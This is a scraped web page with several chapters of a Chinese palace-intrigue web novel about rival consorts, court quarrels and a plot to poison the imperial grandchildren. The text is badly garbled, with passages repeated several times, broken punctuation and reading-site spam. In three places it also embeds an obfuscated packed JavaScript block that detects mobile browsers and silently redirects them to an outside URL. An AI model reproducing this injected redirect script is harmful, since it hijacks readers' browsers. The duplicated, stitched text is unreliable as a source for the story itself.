此话一出,所有人的表情都变了。 魏娴的脸色沉了下去。 魏娴的婢女玉穗不悦道:“苏侧妃,我们主子早就是侧妃了,您可真是贵人多忘事!” “呵呵,真是对不住,我忘了。”苏灵音不屑的笑了笑。 玉穗忍不住怼道:“之前您被贬为夫人,又跟我们主子同时一起升为侧妃,您忘了?我们主子诞下了皇孙,殿下都说功劳不小呢!” 苏灵音的眼里露出阴狠。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第319章 故意气她 “瞧我这记性,原来是因为孩子?魏侧妃真是走运啊。”她抚摸了下肚子,状似无意地打翻魏娴面前的茶盏。 滚烫的茶水撒了出来,浇湿了魏娴手中的虎头鞋。 魏娴吃痛地蹙眉,手背被烫得通红,大腿也湿了。 “啊……”魏娴的脸都疼得发红,眼眶里溢出眼泪。 云清婳立即道:“快去取烫伤药来。” “是!” 苏灵音夸张地捂着嘴,“诶呀,真是对不住!我不是故意的,我没看见这有盏茶呢。” 说着,她挺了挺微微隆起的肚皮,一副你拿我无可奈何的表情,“魏夫人,应该不会跟我这个反应迟钝的孕妇计较吧?” 魏娴眸色阴鸷,她腾的起身,抬起手啪地摔下去。 清脆的巴掌声响彻花园。 孩子闻声纷纷朝这边看来。 云清婳立即示意下人将孩子抱走。 苏灵音脑袋轰鸣,脸火辣辣的疼,整个人僵在原地。 “你、你敢打我?”她狼狈地捂着脸,手下意识护住肚子。 云清婳冷眼旁观这一切。 看样子,苏灵音已经怀了双胎了。 “打的就是你!寻衅挑事,你活该被打!”魏娴一字一顿,没有丝毫顾忌。 她隐忍这么久,就是为了这一刻! 诞下承宁后,她的腰板就彻底挺直了。 有了倚仗,她还忍什么? 云清婳身心舒畅。 阿娴不愧是她挑选的队友,反击干脆利落,她完全不用插手。 “你怎么敢的?我怀着殿下的孩子,我腹中怀的可是大昭的皇孙啊!”苏灵音的发髻散下一绺,吊在额前,看起来很是狼狈。 魏娴冷笑,“谁没有皇孙呢?在太子妃面前,一个侧室还敢大放厥词?更何况还不知你腹中是儿是女!” 苏灵音的脸上闪过心虚,她气得胃疼,傲慢地呵斥道:“魏娴,你一个五品官员的庶女怎么敢的?” “你我同为太子侧妃,有什么高低贵贱之分?更何况,苏家……啧,被逐出京城了吧?论起贵贱,府里谁的娘家不是京官?你还是夹着尾巴做人吧!”魏娴的神态极尽鄙夷。 这话扎进了苏灵音的心,她气得呼吸都急促起来。 云清婳没想到有朝一日能看到魏娴这副姿态,她觉得十分有趣。 阿娴很像一只傲娇的猫儿,平日不搭理你,但一旦亮爪必会见血。 苏灵音眼中含泪,看向云清婳,“太子妃,您就眼睁睁看着魏娴打我?我怀着皇嗣啊!她是在谋害皇嗣,其罪当诛!” 这时,医女赶来了。 云清婳起身,将魏娴拉到一边让医女给她查看伤势。 “阿娴站远些,当心有人自己不中用,赖上你。”云清婳的眼神从苏灵音的腹部划过。 苏灵音环视四周,瞬间有了底气,“众人都看着呢!太子妃还要在大庭广众下包庇**?别忘了,我姑母可是皇后!” “吓唬谁呢?皇后被禁足了。”玉穗忍不住嘀咕了一句。 飞霜没绷住,差点笑出声。 这把苏灵音气得恨不得吐出一口老血。 云清婳气场全开,她的声音倏地清冷,威压于顶,“你跟魏侧妃同为侧妃,你烫伤了魏侧妃,魏侧妃又打了你,你们已经扯平了。你最好祈祷魏侧妃不会留疤,否则殿下饶不了你!” 苏灵音气得胸腔起伏,“我怀有皇嗣!魏娴怎能跟我比?” 云清婳在心里翻了个白眼。 她似笑非笑,耐心地反问:“殿下缺子嗣吗?” “……”苏灵音正欲张嘴,可巧慧扯了扯她的衣袖。 她像是浸水的炮仗,瞬间哑火了。 她已经找了大夫,诊断她怀了双胎,说不定也是一对龙凤胎,是大吉之兆! 但现在还不能说出来,免得云清婳陷害。 云清婳不容置喙:“把你们主子带走,免得她再生事端。” 巧慧扶着苏灵音的胳膊,她压低声音提醒,“主子,当心动了胎气,那就不值当了。” 苏灵音当然不会为了赌气伤害腹中的胎儿。 她肚子里的,才是皇上的金孙! 未来的继承人! “我们走……”说着,苏灵音在转身之际看见了疾步走来的裴墨染。 她捂着肚子,弓下了腰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284111|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啊……殿下,妾身的肚子,肚子好疼啊……” “殿下,孩子不会保不住吧?妾身好害怕……” “主子,主子,您没事吧? 裴墨染眼中的厌恶浓得化不开。 他嫌弃地剜了苏灵音一眼。 但为了日后让苏灵音万劫不复,他不得不装装样子。 裴墨染高声命令道:“快去传太医! “是。下人立即照办。 “呜呜……殿下,妾身就知道,您心里是有妾身跟孩子的。苏灵音掐着嗓子撒娇,声音简直转了十八个弯。 让人的鸡皮疙瘩都起来了。 裴墨染委屈地看向云清婳,恨不得立即撇清关系。 “又怎么了?他的语气像是淬了冰。 云清婳才启唇,苏灵音就故意把挨巴掌的脸对着他,她啜泣着,“殿下,都是我的错,我不该不小心将茶水泼到魏侧妃身上,魏侧妃扇我巴掌也是应该的。 “谁让苏家被逐出京城,姑母被禁足了呢?谁让我无依无靠,只能任人欺凌? 她阴阳怪气地说着,极尽展现自己白莲一般的娇弱。 “没事吧? 男人冷不丁问了一句。 苏灵音脸上的表情变得柔软,心中的委屈跟欢喜如潮水般汹涌扑来。 “妾身没事……就是肚子…… 话还没说完,裴墨染就走到魏娴的跟前,他上下扫视魏娴,“哪里被烫了?可还好? 魏娴摇摇头,“妾身没事。 “阿娴的手背被烫红了,大腿也被烫了,也不知会不会起水泡。云清婳立即道。 裴墨染伸出手,僵硬地在魏娴的肩膀上拍了拍,他故意把声音放得很轻,“快回寝殿吧,稍后让太医给你看看。 “多谢殿下。魏娴挤出幸福的表情。 这幅画面刺激着苏灵音的眼睛,把她心中的嫉妒、不甘、愤怒引爆。 此刻,她像是一个跳梁小丑,尴尬地杵在原地。 她恼羞成怒,脖颈都涨得通红。 巧慧使劲掐着大腿才没笑出声。 自作多情的毒妇! 殿下压根没关心你! 第320章 他离不开她 苏灵音的双手使劲攥着指尖泛起了乳白色她撒娇道:“殿下妾身的爹娘都没打过妾身妾身还怀着你的孩子呢。” “你们同为侧妃小打小闹也无妨。魏侧妃向来有分寸必不会让孩子出事你放心吧。”裴墨染敷衍地说。 一口气堵在苏灵音的胸口没上来。 她还要谢谢魏娴的‘分寸’不成? 苏灵音本就郁结于心怒急攻心她眼前一黑身子直挺挺地往后倒去。 多亏一旁的婢女眼疾手快扶住了她。 “主子……”巧慧着急地唤了一声。 “务必保住苏侧妃腹中的孩子。”裴墨染拧着眉头。 这场大戏还没到落幕的时候。 苏灵音要亲自把雷引爆才行 好那他就反过来控制苏家! …… 回到玄音阁。 裴墨染立即扶云清婳在上首坐下。 他诚惶诚恐地单膝跪在她的面前小心翼翼地观察着她的表情“蛮蛮你别误会方才我关心魏娴是为了气苏灵音。” 云清婳白了他一眼她当然知道。 明眼人都看出来了。 他太反常了。 “没想到夫君这么无聊。”她屈指刮了下他的鼻子。 裴墨染松了口气他如释重负地笑了“原来你没生气啊你一路没说话我还以为你生气了。苏灵音故意挑事我怎能如她所愿?” 云清婳心下觉得可笑。 看吧女人之间的弯弯绕绕其实男人都懂。 她用食指勾起他的下巴“夫君明察秋毫一眼便看穿苏灵音的诡计那从前赵婉宁诬陷我时你在干什么?” 裴墨染的脸瞬间僵住了他的面色很难看甚至有几分心虚“那时……我还被赵婉宁蒙在鼓里尚未完全爱上蛮蛮所以才……” 他的背后冷汗涔涔。 当初他对赵婉宁还有感情自然会对赵婉宁抱有期待偏心她。 云清婳才懒得听他的渣男发言也不想翻旧账。 翻旧账第一次第二次男人会觉得愧疚可提多了男人只会觉得你啰嗦、恃宠而骄。 她鼓着嘴“还是我 爱夫君多一些夫君没心肝的。” “蛮蛮你对我的好我都知道。我对你的亏欠现在我会加倍弥补回来。”他握着她的手贴在脸上。 “日后夫君不准帮着别人欺负我。”她道。 裴墨染重重颔首可嘴上却说:“我哪敢欺负你?” 王显又来禀报苏灵音没有大碍魏娴的身上没有起水泡云清婳的心这才落回肚子里。 倘若苏灵音让魏娴受伤她定会以其人之道还治其人之身。 “给承基、辞忧的秋千扎好了去看看?”裴墨染握着她的手。 云清婳颔首。 庭院中已然扎好两个秋千。 两个孩子从未荡过秋千 二人正骑在木马上。 裴墨染看向云清婳眼神狡黠“试试?” 云清婳颔首。 二人坐在秋千上凉爽的晚风迎面扑来。 “夫君快给我推秋千。”她催促道。 裴墨染逗她“娘子先给我推。” “不行你先给我推!”她佯装生气。 裴墨染撒娇道:“娘子你疼疼我。” 她嫌弃地撇嘴。 一旁的王显跟飞霜牙都快酸掉了。 两位主子怎么这么幼稚? 裴墨染突然拔高声音对远处喊道:“承基、辞忧过来!” “爹爹……” 两个孩子甩着小肉腿跑过来二人一脸天真地看着爹娘。 “站到后面推推爹娘。”裴墨染交代。 “哦。” 两个小家伙照办。 辞忧推着云清婳承基推着裴墨染。 让云清婳没想到的是两个小家伙的劲儿比想象中大居然真能把他们稍微推起来。 “养兵千日用兵一时。”裴墨染评价。 云清婳笑道:“哪有你这么评价孩子的?” 裴墨染见自己荡得不如云清婳高不满地回头看承基“承基你是不是没吃饭?” 云清婳:??? 一旁的王显眼角抽了抽。 飞霜突然觉得两位小主子好可怜。 承基虽然年龄小 但也听出了爹爹的嫌弃。 “哼!”他不搭理裴墨染,转身去骑自己的木马了。 裴墨染:??? “怎么这么小气?跟谁学的?”他嘀咕。 云清婳示意辞忧停下,她不悦道:“裴墨染,不许欺负承基!” 裴墨染的气势瞬间消了下去,他讪讪道:“我跟承基说笑呢。” 她狠瞪他一眼,“快去哄儿子。” 辞忧伸出手指,指着他,“坏爹爹。” 裴墨染的心像是被一根无形的绳子牵动。 他像是做错了事,顿感愧疚,立即去哄承基。 飞霜不由得在心里暗叹,殿下被主子拿捏得死死的。 夜深时,御前嬷嬷箬竹来了。 此时,云清婳才哄两个孩子睡下。 裴墨染的眸色深沉,“蛮蛮,你先去沐浴,我去看看。” 她摇摇头,“从前皇上都是派御前总管来,这次箬竹来了,定是找我的。” 裴墨染觉得她所言有理,便跟她一同接见箬竹。 前厅。 “箬竹姑姑。”云清婳亲**扶着她坐下。 箬竹连忙摆手,“太子妃折煞老奴了,老奴不敢当。” 裴墨染态度温和,他问:“更深露重,时候不早了,父皇深夜派姑姑来东宫,有何指示?” 箬竹恭敬道:“倒也不是指示,皇上极其看重皇孙的教养。明日皇孙上课,陛下让太子妃一同进宫看顾。” “这是应该的,怪我没思虑周全,让父皇费心了。”云清婳垂下脸,神情愧疚。 “哪里?陛下对太子妃称赞有加,私下常提起您。”箬竹压低声音透露。 云清婳听到这些,心里舒服了点。 皇上这个老毕登虽然无情,但也不是没有心。 裴墨染担忧地看了眼云清婳,他深呼吸,最后还是忍不住开口:“箬竹姑姑,不如本宫明日一同前往?” “……”云清婳怪异地看了眼裴墨染。 箬竹笑了。 太子这是离不开太子妃啊。 她思索一番,还是给出明示:“陛下并未传召殿下。更何况殿下日理万机,哪能因为皇孙的课业耽误了?相夫教子本就是太子妃的职责。” 你的朋友正在书荒,快去帮帮他吧 但也听出了爹爹的嫌弃。 “哼!他不搭理裴墨染,转身去骑自己的木马了。 裴墨染:??? “怎么这么小气?跟谁学的?他嘀咕。 云清婳示意辞忧停下,她不悦道:“裴墨染,不许欺负承基! 裴墨染的气势瞬间消了下去,他讪讪道:“我跟承基说笑呢。 她狠瞪他一眼,“快去哄儿子。 辞忧伸出手指,指着他,“坏爹爹。 裴墨染的心像是被一根无形的绳子牵动。 他像是做错了事,顿感愧疚,立即去哄承基。 飞霜不由得在心里暗叹,殿下被主子拿捏得死死的。 夜深时,御前嬷嬷箬竹来了。 此时,云清婳才哄两个孩子睡下。 裴墨染的眸色深沉,“蛮蛮,你先去沐浴,我去看看。 她摇摇头,“从前皇上都是派御前总管来,这次箬竹来了,定是找我的。 裴墨染觉得她所言有理,便跟她一同接见箬竹。 前厅。 “箬竹姑姑。云清婳亲**扶着她坐下。 箬竹连忙摆手,“太子妃折煞老奴了,老奴不敢当。 裴墨染态度温和,他问:“更深露重,时候不早了,父皇深夜派姑姑来东宫,有何指示? 箬竹恭敬道:“倒也不是指示,皇上极其看重皇孙的教养。明日皇孙上课,陛下让太子妃一同进宫看顾。 “这是应该的,怪我没思虑周全,让父皇费心了。云清婳垂下脸,神情愧疚。 “哪里?陛下对太子妃称赞有加,私下常提起您。箬竹压低声音透露。 云清婳听到这些,心里舒服了点。 皇上这个老毕登虽然无情,但也不是没有心。 裴墨染担忧地看了眼云清婳,他深呼吸,最后还是忍不住开口:“箬竹姑姑,不如本宫明日一同前往? “……云清婳怪异地看了眼裴墨染。 箬竹笑了。 太子这是离不开太子妃啊。 她思索一番,还是给出明示:“陛下并未传召殿下。更何况殿下日理万机,哪能因为皇孙的课业耽误了?相夫教子本就是太子妃的职责。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 但也听出了爹爹的嫌弃。 “哼!”他不搭理裴墨染转身去骑自己的木马了。 裴墨染:??? “怎么这么小气?跟谁学的?”他嘀咕。 云清婳示意辞忧停下她不悦道:“裴墨染不许欺负承基!” 裴墨染的气势瞬间消了下去他讪讪道:“我跟承基说笑呢。” 她狠瞪他一眼“快去哄儿子。” 辞忧伸出手指指着他“坏爹爹。” 裴墨染的心像是被一根无形的绳子牵动。 他像是做错了事顿感愧疚立即去哄承基。 飞霜不由得在心里暗叹殿下被主子拿捏得死死的。 夜深时御前嬷嬷箬竹来了。 此时云清婳才哄两个孩子睡下。 裴墨染的眸色深沉“蛮蛮你先去沐浴我去看看。” 她摇摇头“从前皇上都是派御前总管来这次箬竹来了定是找我的。” 裴墨染觉得她所言有理 前厅。 “箬竹姑姑。”云清婳亲**扶着她坐下。 箬竹连忙摆手“太子妃折煞老奴了老奴不敢当。” 裴墨染态度温和他问:“更深露重时候不早了父皇深夜派姑姑来东宫有何指示?” 箬竹恭敬道:“倒也不是指示皇上极其看重皇孙的教养。明日皇孙上课陛下让太子妃一同进宫看顾。” “这是应该的怪我没思虑周全让父皇费心了。”云清婳垂下脸神情愧疚。 “哪里?陛下对太子妃称赞有加私下常提起您。”箬竹压低声音透露。 云清婳听到这些心里舒服了点。 皇上这个老毕登虽然无情但也不是没有心。 裴墨染担忧地看了眼云清婳他深呼吸最后还是忍不住开口:“箬竹姑姑不如本宫明日一同前往?” “……”云清婳怪异地看了眼裴墨染。 箬竹笑了。 太子这是离不开太子妃啊。 她思索一番还是给出明示:“陛下并未传召殿下。更何况殿下日理万机哪能因为皇孙的课业耽误了?相夫教子本就是太子妃的职责。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 但也听出了爹爹的嫌弃。 “哼!他不搭理裴墨染,转身去骑自己的木马了。 裴墨染:??? “怎么这么小气?跟谁学的?他嘀咕。 云清婳示意辞忧停下,她不悦道:“裴墨染,不许欺负承基! 裴墨染的气势瞬间消了下去,他讪讪道:“我跟承基说笑呢。 她狠瞪他一眼,“快去哄儿子。 辞忧伸出手指,指着他,“坏爹爹。 裴墨染的心像是被一根无形的绳子牵动。 他像是做错了事,顿感愧疚,立即去哄承基。 飞霜不由得在心里暗叹,殿下被主子拿捏得死死的。 夜深时,御前嬷嬷箬竹来了。 此时,云清婳才哄两个孩子睡下。 裴墨染的眸色深沉,“蛮蛮,你先去沐浴,我去看看。 她摇摇头,“从前皇上都是派御前总管来,这次箬竹来了,定是找我的。 裴墨染觉得她所言有理,便跟她一同接见箬竹。 前厅。 “箬竹姑姑。云清婳亲**扶着她坐下。 箬竹连忙摆手,“太子妃折煞老奴了,老奴不敢当。 裴墨染态度温和,他问:“更深露重,时候不早了,父皇深夜派姑姑来东宫,有何指示? 箬竹恭敬道:“倒也不是指示,皇上极其看重皇孙的教养。明日皇孙上课,陛下让太子妃一同进宫看顾。 “这是应该的,怪我没思虑周全,让父皇费心了。云清婳垂下脸,神情愧疚。 “哪里?陛下对太子妃称赞有加,私下常提起您。箬竹压低声音透露。 云清婳听到这些,心里舒服了点。 皇上这个老毕登虽然无情,但也不是没有心。 裴墨染担忧地看了眼云清婳,他深呼吸,最后还是忍不住开口:“箬竹姑姑,不如本宫明日一同前往? “……云清婳怪异地看了眼裴墨染。 箬竹笑了。 太子这是离不开太子妃啊。 她思索一番,还是给出明示:“陛下并未传召殿下。更何况殿下日理万机,哪能因为皇孙的课业耽误了?相夫教子本就是太子妃的职责。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 但也听出了爹爹的嫌弃。 “哼!他不搭理裴墨染,转身去骑自己的木马了。 裴墨染:??? “怎么这么小气?跟谁学的?他嘀咕。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284112|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 云清婳示意辞忧停下,她不悦道:“裴墨染,不许欺负承基! 裴墨染的气势瞬间消了下去,他讪讪道:“我跟承基说笑呢。 她狠瞪他一眼,“快去哄儿子。 辞忧伸出手指,指着他,“坏爹爹。 裴墨染的心像是被一根无形的绳子牵动。 他像是做错了事,顿感愧疚,立即去哄承基。 飞霜不由得在心里暗叹,殿下被主子拿捏得死死的。 夜深时,御前嬷嬷箬竹来了。 此时,云清婳才哄两个孩子睡下。 裴墨染的眸色深沉,“蛮蛮,你先去沐浴,我去看看。 她摇摇头,“从前皇上都是派御前总管来,这次箬竹来了,定是找我的。 裴墨染觉得她所言有理,便跟她一同接见箬竹。 前厅。 “箬竹姑姑。云清婳亲**扶着她坐下。 箬竹连忙摆手,“太子妃折煞老奴了,老奴不敢当。 裴墨染态度温和,他问:“更深露重,时候不早了,父皇深夜派姑姑来东宫,有何指示? 箬竹恭敬道:“倒也不是指示,皇上极其看重皇孙的教养。明日皇孙上课,陛下让太子妃一同进宫看顾。 “这是应该的,怪我没思虑周全,让父皇费心了。云清婳垂下脸,神情愧疚。 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“怎么这么小气?跟谁学的?他嘀咕。 云清婳示意辞忧停下,她不悦道:“裴墨染,不许欺负承基! 裴墨染的气势瞬间消了下去,他讪讪道:“我跟承基说笑呢。 她狠瞪他一眼,“快去哄儿子。 辞忧伸出手指,指着他,“坏爹爹。 裴墨染的心像是被一根无形的绳子牵动。 他像是做错了事,顿感愧疚,立即去哄承基。 飞霜不由得在心里暗叹,殿下被主子拿捏得死死的。 夜深时,御前嬷嬷箬竹来了。 此时,云清婳才哄两个孩子睡下。 裴墨染的眸色深沉,“蛮蛮,你先去沐浴,我去看看。 她摇摇头,“从前皇上都是派御前总管来,这次箬竹来了,定是找我的。 裴墨染觉得她所言有理,便跟她一同接见箬竹。 前厅。 “箬竹姑姑。 说全网首发无弹窗免费阅读caixs?(请来才小 说 看最新章节 完整章节)云清婳亲**扶着她坐下。 箬竹连忙摆手,“太子妃折煞老奴了,老奴不敢当。 裴墨染态度温和,他问:“更深露重,时候不早了,父皇深夜派姑姑来东宫,有何指示? 箬竹恭敬道:“倒也不是指示,皇上极其看重皇孙的教养。明日皇孙上课,陛下让太子妃一同进宫看顾。 “这是应该的,怪我没思虑周全,让父皇费心了。云清婳垂下脸,神情愧疚。 “哪里?陛下对太子妃称赞有加,私下常提起您。箬竹压低声音透露。 云清婳听到这些,心里舒服了点。 皇上这个老毕登虽然无情,但也不是没有心。 裴墨染担忧地看了眼云清婳,他深呼吸,最后还是忍不住开口:“箬竹姑姑,不如本宫明日一同前往? “……云清婳怪异地看了眼裴墨染。 箬竹笑了。 太子这是离不开太子妃啊。 她思索一番,还是给出明示:“陛下并未传召殿下。更何况殿下日理万机,哪能因为皇孙的课业耽误了?相夫教子本就是太子妃的职责。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第321章 你把我的腿压麻了 裴墨染凝眉,“本宫知道了。” 人走后,云清婳道:“方才夫君不该问这句话的。” “我担心父皇刁难你。”他的眼神露出一抹阴郁。 云清婳忍俊不禁,“夫君,你当我是你?” 裴墨染的唇角不禁上扬。 是啊,一家人里面,皇上只讨厌他。 云清婳也有些好奇,皇上召她入宫,肯定不单单是看顾孩子这么简单。 但皇上心思莫测,她也摸不准。 …… 翌日,东方既白,云清婳便醒了。 枕边人还在酣睡。 她不爽地在他腰间狠狠拧了一把。 “呃……”他慵懒地呻吟了声。 他尚未清醒,喉间发出低沉富有磁性的声音。 “为何掐我?”他一把将娇小的人儿扯进怀里。 “都怪你,把我的腿压麻了!夫君睡觉越来越不规矩了。”云清婳在他胸口上咬了一口。 她在他的胸口上咬了一圈整齐的牙印。 裴墨染闷声笑了,“我给娘子揉揉?” 她登时毛骨悚然,“千万别!你敢!” 云清婳缓了好一会儿,等双腿恢复知觉才起身穿衣。 二人在神武门分开了。 云清婳带着承基、辞忧去了上书房。 辞忧本是不能跟承基一同做学问的,可两个小家伙一分开就哭,皇上只好破了规矩。 各位皇孙都在上书房。 唯有承基、辞忧被单独安排在一个房间。 太傅是皇上精心挑选的胡尚杰,他是皇上当年的先生,年逾六十,早已乞骸骨。 可前几日又被皇上请了回来。 胡尚杰早早就等在了门外,他恭敬拜了拜,“见过太子妃、皇太孙、郡主。” “先生客气了。”云清婳笑道。 “见过先生。”承基、辞忧对他拜了拜。 云清婳有点意外,两个孩子实在聪慧。 推开门后,云清婳更是惊讶。 上书房内,除了满架子的书籍,还有许多孩子玩的玩意儿、点心。 皇上比想象中还要看重两个小家伙。 云清婳的底气越来越足了。 胡 尚杰捋着胡子,“今日老夫继续教两位皇孙写字。” “好。”二人恋恋不舍地看着云清婳。 云清婳很识趣地站在屏风后,隔绝他们的视线,等候两个孩子散学。 一个时辰过去,窗外响起了沉闷的脚步声。 她轻推开窗牗,从缝隙往外看。 只见,睿王、虞贵妃牵着一个孩子,谄媚地跟在皇上身后。 “陛下,您就让宇儿一同听课吧。”虞贵妃娇媚地挽住皇上的胳膊,“宇儿都五岁了,还没好先生教导呢。” 皇上不咸不淡地反问:“朕怎么不知宇儿有这么高的天资?翰林院的院士还不够教导?” 虞贵妃嘟着粉嫩的唇瓣,她娇嗔道:“陛下,翰林院的院士固然好,可哪比得上胡太傅?若是能得胡太傅点拨,宇儿一定会开灵窍,将来好好孝敬您。” 睿王也道:“父皇,胡太傅是您当年的先生,宇儿仰慕您,整日吵着要被皇祖父以前的先生教导呢。” “哼。”皇上讽刺的冷哼。 一阵秋风吹来,他赶紧拿出帕子捂住嘴咳嗽,“咳咳咳……” 他的痰音很重,面皮咳得涨红,光是听声音就知道病得不轻。 虞贵妃、睿王交换了一个疑惑的眼神。 “别吵嚷了,朕昨夜受了寒,头疼得很。”他不耐道。 虞贵妃露出心疼的表情,她白皙的手轻抚他的胸口,“陛下要多加保重身子啊。” 皇上厉声道:“其他皇子都没说要换先生?为何就你们有异议?” “父皇,可是宇儿……” 睿王的话还没说完,就被皇上打断。 皇上眉毛一横,帝王的威严迸发,他眸色沉沉地看着宇儿,“宇儿,你想**太傅教吗?” 宇儿瘦弱的身躯一颤,他缩了缩肩膀,眼眶含泪地躲到了虞贵妃身后。 “哼!”皇上虽然深不可测,脸上没有情绪,可眼神中的轻蔑、失望不言而喻。 睿王恨铁不成钢地剜了宇儿一眼。 虞贵妃也很是无奈。 “孩子并不愿意,你们就别逼他了!”皇上讽刺道。 云清婳听到了一切。 她没有错过睿王眼底的阴险。 …… 皇上象征性地巡查了一番 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291547|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又去检查了承基、辞忧的课业。 承基抱着皇上的腿噘着嘴“皇爷爷为何不教我们了?” “我想要皇爷爷教。”辞忧张开双臂要抱抱。 皇上正欲弯下腰抱她可抑制不住地猛咳起来他转过身去眼泪都咳了出来。 过了一会儿他转过身面容慈爱“辞忧乖胡太傅是朕当年的先生。” “皇上要多多保重身子啊。”胡太傅目露担忧。 皇上扯出了一抹无奈的笑“是啊朕竟然不如太傅身子硬朗。” 胡太傅诚惶诚恐地弓下腰“老臣不敢陛下寿与天齐。” 皇上扬起一抹没有温度的笑他朝云清婳的方向看去眼神似乎能穿透屏风与她相接。 “太子妃要好好辅佐太子教养皇太孙。”皇上的声音没有情绪威圧感却如同一座泰山压下。 云清婳恭敬的福身 “这便好。”皇上颔首。 皇上摆驾回了御书房。 …… 课间休息时各个皇孙三两成群的庭院里做游戏、说笑。 御膳房给各个皇孙端来了点心。 宫女用银针验了一遍又一遍试毒太监也将每一块点心尝过才允许送进上书房。 辞忧、承基跟宇儿在一起做游戏。 “睿王家的皇孙最近总是找皇太孙。”胡尚杰捋着花白的胡子道。 云清婳的眼神微动。 飞霜凑在云清婳的耳边道:“主子我闻过了。御膳房送来的桂花糕里掺了少量的婆罗果此毒大人吃无事孩子吃了后轻则吐血重则窒息。这毒就算是太医恐怕都查不出来等查出来早就出事了。” 她的杏眼中闪过杀意。 害她别的可以但害孩子折损她向上爬的阶梯简直罪该万死! 既然虞贵妃、睿王这么狠就别怪她了。 云清婳端着桂花糕朝辞忧勾勾手。 辞忧看到糕点跟一个小炮弹似的跑了过来“娘亲我要吃糕糕。” “拿去吧。”云清婳将一盘桂花糕递给辞忧。 辞忧看到桂花糕嘴撅得都快能挂酱油壶了。 “唔……”她端着盘子朝承基、宇儿走去。 飞霜不由得蹙眉“主子若是两位小主子误食了该怎么办?” “放心吧他们俩讨厌桂花糕定不会吃。” 第322章 孩子**了,出事了 “走吧咱们去给皇祖母请安。”云清婳道。 飞霜的嘴角勾起瞥了眼孩子的方向露出蔑笑。 二人才走到门口正欲跨过门槛便听见熟悉的私语声。 “那两个贱种凭什么**尚杰教导?皇上真是老糊涂了!宇儿可是长孙啊!”睿王攥着拳头一拳砸在墙壁上。 虞贵妃惊呼一声她心疼地捧着他的手“吾儿当心伤了自己!皇上也就是看两个贱种生在七星连珠之夜不过很快他们就构不成威胁了。” “呵……云清婳真是**故意催产在七星连珠夜诞**种!她为何不难产血崩呢?”睿王咬牙切齿恨意从牙缝里溢出来。 “因为我福大命大不像先王妃红颜薄命。”云清婳的声音凉凉地砸了下去。 虞贵妃、睿王的身躯一颤他们心虚地左右张望。 云清婳跨过门槛朝他们走来 说全网首发无弹窗免费阅读caixs.com▽(请来才小 说 看最新章节 完整章节)她虽然笑着可脸上好似挂着一层寒霜。 二人正欲张口说话云清婳便道:“下次背后说人最好还是找个隐秘的地方免得隔墙有耳。这次我听见也就罢了太子殿下顶多训斥五皇弟几句若是被父皇听见恐怕就没这么简单了。” 睿王的脸青一阵白一阵尴尬不已。 “你……”虞贵妃的伸手指着云清婳指甲快戳进她的眼睛。 云清婳打断她的话“虞贵妃是不是以为皇后被禁足了后宫就你一人独大了?太后寿宴那日被奸人刺杀你们当真觉得天衣无缝?” 虞贵妃的脸色急转直下五官扭曲她结结巴巴道:“本宫……听不懂你在说什么!你少妖言惑众了!” “一个妇道人家妄议朝政你想死吗?”睿王咆哮“一个太子妃而已算什么东西?今日是你明日又会是谁呢?” 云清婳抬起手一巴掌狠狠甩了下去“算什么东西?我算你的皇嫂!听清楚了吗?” “……”睿王被打懵了愣怔地看着云清婳。 “吾儿!”虞贵妃心都在颤抖她目眦欲裂“**你怎敢打本宫的儿子?!” 她扬起手要扇云清婳的脸。 飞霜上前一把攥住虞贵妃的手腕她陡然拔高声音:“虞贵妃、太子妃是陛下、皇后娘娘的儿媳!就算要管教 也轮不到您!您凭什么越俎代庖?” 虞贵妃还没被愤怒冲昏头脑打了云清婳别说裴墨染不会善罢甘休就算是云家也会给虞家为难。 她狠狠甩开飞霜的手“把你的爪子拿开贱婢!” 睿王回过神脸上的巴掌印还隐隐作痛他只感到无尽的**。 “一群**!老子给你脸了!”他一手抓住飞霜的衣领抬起厚重的巴掌就扇了过去。 太子妃动不得一个贱婢他还动不得? 云清婳的太阳穴突突直跳眼眸瞪得硕大“你敢!” 就在巴掌还有一寸要落下时王显扼住了睿王的手他冷声道:“睿王三思啊!宫女、太监都看着呢!” 睿王定睛一看四下的宫女、太监眼神都看着他。 裴墨染将云清婳护在身后面色铁青脸上翻涌着难以言语的滔**火。 他立即收回手气势弱了几分他指着左脸的巴掌印“三皇兄管好皇嫂你看她把我打的。” 